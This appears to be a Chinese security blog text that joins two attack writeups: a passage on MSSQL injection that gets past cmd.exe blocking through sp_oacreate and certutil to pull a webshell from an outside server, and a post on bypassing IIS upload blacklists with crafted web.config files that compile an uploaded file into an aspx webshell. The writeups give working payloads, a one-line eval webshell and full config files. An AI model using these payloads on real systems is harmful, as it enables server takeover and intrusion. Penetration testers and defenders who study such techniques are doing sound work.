失败,无响应中断。又运行了其他的存储过程,蛮正常。 看来是在xp_cmdshell执行过程进行了拦截。 另外通过xp_dirtree将web站点存在的目录读了出来,并在web的根目录下通过xp_create_subdir成功创建了子目录test。

3775447.png

仅剩一步,将shell写入或者下载到web目录中即可。
但却卡在这个问题,而且卡了近两天。能够执行cmd的三种方式都尝试了,程序执行过程被拦截。尝试直接备份和差异备份,也都没能成功。感觉像是08和之前版本的备份语句存在差异,总之没备份成功,哪天仔细研究一下。

又静下心思索一阵后,终于解决了这个问题。
思路如下,既然主机对数据库调用的cmd.exe进行了行为拦截,那么可以尝试运用其他的程序执行进行绕过,并利用指定程序的一些功能来实现对文件的操控并执行 来获取shell。

于是先想到测试以下ping命令,payload如下:

declare @shell int exec sp\_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\ping.exe hehe.t00ls.xxxxxxxxxxxxxxxxxxxxxxxxxxxx.tu4.org'

指定ping程序并通过DNSlog来测试主机是否可以执行成功且能访问外网。

3972290.png

sql-shell中执行没有发生中断,说明主机没有进行操作拦截,然后在DNSlog的日志中可以看到,目标服务器能够访问外网

4036407.png

既然Ping可以成功执行,那么Certutil.exe是否也可以成功执行,试一下吧
payload:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\certutil.exe -urlcache -split -f http://外网ip/test.asp d:\网站的目录\test\1.asp'

访问下创建的test目录

4182224.png

成功执行,没有执行常规的系统命令也没有通过文件备份,通过Certutil程序绕过了主机对操作行为的拦截,远程下载了webshell。

5126240.png

0x03 思考与总结

  1. MSSQL注入可玩性太高,其中有很多很神奇的存储过程,且对应了不同的权限,往后要多了解
  2. 思路要广一点,切记局限。不能通过常规方法执行cmd就换个思路,柳暗花明又一村啊
  3. 网上很多中文资料只试用低版本,如今高版本的数据库为主流,很多语句变得不太实用。有时间 自己测试整理下高版本的
  4. 工欲善其事必先利其器,SQLmap还是要多玩玩...

[2018/3/14] written by Len9f4n.

0x00 前言

IIS服务器 在上传过程中,若可以自定义保存后的文件名,是可以改变配置规则来使得任意后缀的文件以asp脚本的方式来获取shell。在大多数实战中,.net站点也会默认支持asp的运行。

之前在挖掘某CMS漏洞过程中,发现某处上传存在黑名单校验(ashx/aspx/asmx/asp/asa等)不过可以上传config文件和部分自定义后缀。上传后的路径为程序的一个子目录。可利用如下web.config绕过来解析执行asp程序,颇具一定的通杀效果。(前提条件是服务器的虚拟目录中运行使用ISAPI模块)

<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <system.webServer>
        <directoryBrowse enabled="true" />
        <handlers>
            <add name="asdx" path="*.asdx" verb="GET,HEAD,POST,DEBUG" 
            modules="IsapiModule"                        
            scriptProcessor="%windir%\System32\inetsrv\asp.dll"
            resourceType="Unspecified" 
            requireAccess="Script" />
        </handlers>
    </system.webServer>
</configuration>

但也发现存在少数的情况,服务器默认不支持asp的执行,当时因为时间关系就放弃了

最近再次遇到了这样的场景,正好有时间来思考和解决

0x01 相关知识

攻击的方式简单来说很简单:既然无法解析asp,还是要通过写入aspx木马的方式来拿到权限。

虽然程序本身无法绕过,但既然运行*.config文件的写入,我们可以通过掌握使用其规则来达到的想要目的。
查阅了一些资料后,发现某外国安全研究者的一篇文章 https://soroush.secproject.com/blog/2019/08/uploading-web-config-for-fun-and-profit-2/

该文章介绍了使用web.config文件的多种攻击姿势,其中“compilerOptions”相关介绍似乎提供了一些办法

通过web.config文件中的compilers标签可以修改编译设置,如:我们可以定义编译语言的类型 并可以匹配某些指定的后缀来进行编译。
compiler的元素,可以支持三种默认类型:C# VB.NETJscript.NET.当指定为某个类型后,在编译时会该类型对应的编译程序。如指定类型为C#时,编译会调用 csc.exe

当定义如下规则时,会对语言为C#代码的.cs的文件进行编译处理。利用csc.exe 进行编译

...
<compilers>
    <compiler language="c#"
        extension=".cs"
        type="Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        warningLevel="4" 
        compilerOptions=''/>
</compilers>
...

利用csc.exe编译时,可通过参数指定编译前的源文件位置,和编译后要存放的 路径及文件名称
另外,还有最重要一点,上述配置中的compilerOptions属性,可以将其值 作为参数来引入到编译器命令中。

0x02 攻击过程

了解了上述基础后,问题就迎刃而解了。
看下可控点:由于web.config内容是完全可控的,故 编译后缀,使用的编译程序,(恶意)源文件 乃至要编译后保存的路径名称 我们都可以进行控制。

如下记录下我本地环境的测试过程:

上传web.config

内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web>
        <httpRuntime targetFramework="4.67.1"/>
        <compilation tempDirectory="" debug="True" strict="False" explicit="False" batch="True"
            batchTimeout="900" maxBatchSize="1000" maxBatchGeneratedFileSize="1000" numRecompilesBeforeAppRestart="15"
            defaultLanguage="c#" targetFramework="4.0" urlLinePragmas="False" assemblyPostProcessorType="">
            <assemblies>
            </assemblies>
            <expressionBuilders>
            </expressionBuilders>
            <compilers>
                <compiler language="c#"
                    extension=".cs;.config"
                    type="Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
                    warningLevel="4" 
                    compilerOptions=""/>
            </compilers>
        </compilation>
     <customErrors mode="Off" />
    </system.web>
    <system.webServer>
        <handlers>
            <add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" />
            <add name="123_config" path="123.config" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" />
 </handlers>
        <security>
            <requestFiltering>
                <hiddenSegments>
                    <remove segment="web.config" />
                </hiddenSegments>
                <fileExtensions>
                    <remove fileExtension=".config" />
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

注意,这里将 .config后缀也增加到了编译的后缀名单中。然后定义了一个123.config 作为handler。
并且开始了显错模式,<customErrors mode="Off" />。开启显错可到获取绝对路径信息,也方便解决问题。

访问后效果如下,获取到真实路径 c:\testweb\abc\

62377027.png

另外这里之所以报错,是因为 "web.config"文件本身 在访问过程中 也被进行编译处理了,但内容又是xml格式 不符合编译的语法规则,故显示了如上的错误。这里完全不影响后续的过程

上传"源文件"

这个源文件中含有 恶意代码,如一句话shell。
我使用的代码如下,网上随便复制的代码。符合C#的语法规则即可:

using System;

namespace Wrox.ProCSharp.Basics
{
 class MyFirstCSharpClass
 {
  static void Main()
  {
//<%@ Page Language="Jscript"%><%eval(Request.Item["test666"],"unsafe");%>
   Console.WriteLine("Hello World!");
   Console.ReadLine();
   return;
  }
 }
}

这里我之所以将一句话代码放在注释里,也是因为观察了解析后文件内容的结果。(放至注释中对编译前后两者均没什么影响。)
另外,这里要记下我们上传后的路径为 c:\testweb\xxoo.txt

修改web.config

解析来要修改下compilerOptions的值,传入我们的“源文件”路径,以及要保存的shell地址。
修改如下设置,并再次上传保存 web.config

compilerOptions="/resource:c:\testweb\xxoo.txt /out:c:\testweb\xxx.aspx"

接下来,就是想办法让 编译器及传入的参数正确的 执行了。直接访问web.config还是会报错,因为内容不规范。
还记得上面 定义了一个 "123.config"么,我们可以利用它来正确的“编译”shell

利用帮手

这里,我上传了一个内容为空的文件,并保存为123.config
这里内容为空 毫无影响,不仅不会引起报错 反倒会正确执行编译的过程。

上传后访问下123.config,编译成功。效果如下

63370225.png

获取shell

至此就完成了所有的步骤,访问下指定路径下的shell。
一句话成功解析,菜刀图略

63502138.png

0x03 后记

该姿势适用于场景:

  • 基于黑名单的上传,限制了aspx/ashx/asmx等后缀的写入
  • 可控的*.config被上传至某个程序子目录(虚拟目录)
  • IIS不支持ISAPI 和Razor,无法解析执行asp,cshtml等后缀

然后,有时间要系统了解下web.config 配置。

0x04 补充

在虚拟目录下,无法直接利用web.config来指定自定义后缀文件按照aspx来解析。
当利用上述姿势上传至某个upload目录或子目录中,且该层web.config中定义了静态后缀时,直接访问aspx或ashx会被下载。
可传入如下内容,覆盖上层规则达到解析效果:

<configuration>
    <system.webServer>
        <handlers accessPolicy="Read, Script, Write">
     <add name="xxx_aspx" path="xxx.aspx" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" />
            <add name="xxx_aspx-Classic" path="xxx.aspx" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" />
        </handlers>
        <security>
            <requestFiltering>
                <fileExtensions>
                    <remove fileExtension=".config" />
                </fileExtensions>
                <hiddenSegments>
                    <remove segment="web.config" />
                </hiddenSegments>
            </requestFiltering>
        </security>
        <validation validateIntegratedModeConfiguration="false" />
    </system.webServer>
    <system.web>
        <httpHandlers>
     <add path="xxx.aspx" type="System.Web.UI.PageHandlerFactory" verb="*" />
        </httpHandlers>
        <compilation tempDirectory="" debug="True" strict="False" explicit="False" batch="True"
            batchTimeout="900" maxBatchSize="1000" maxBatchGeneratedFileSize="1000" numRecompilesBeforeAppRestart="15"
            defaultLanguage="c#" targetFramework="4.0" urlLinePragmas="False" assemblyPostProcessorType="">
            <assemblies>
            </assemblies>
            <expressionBuilders>
            </expressionBuilders>
        </compilation>
        <customErrors mode="Off" />
    </system.web>
</configuration>

IIS服务器有自己的保护机制,buildProviders中绑定的后缀,只能由应用程序的根路径的web.config来定义。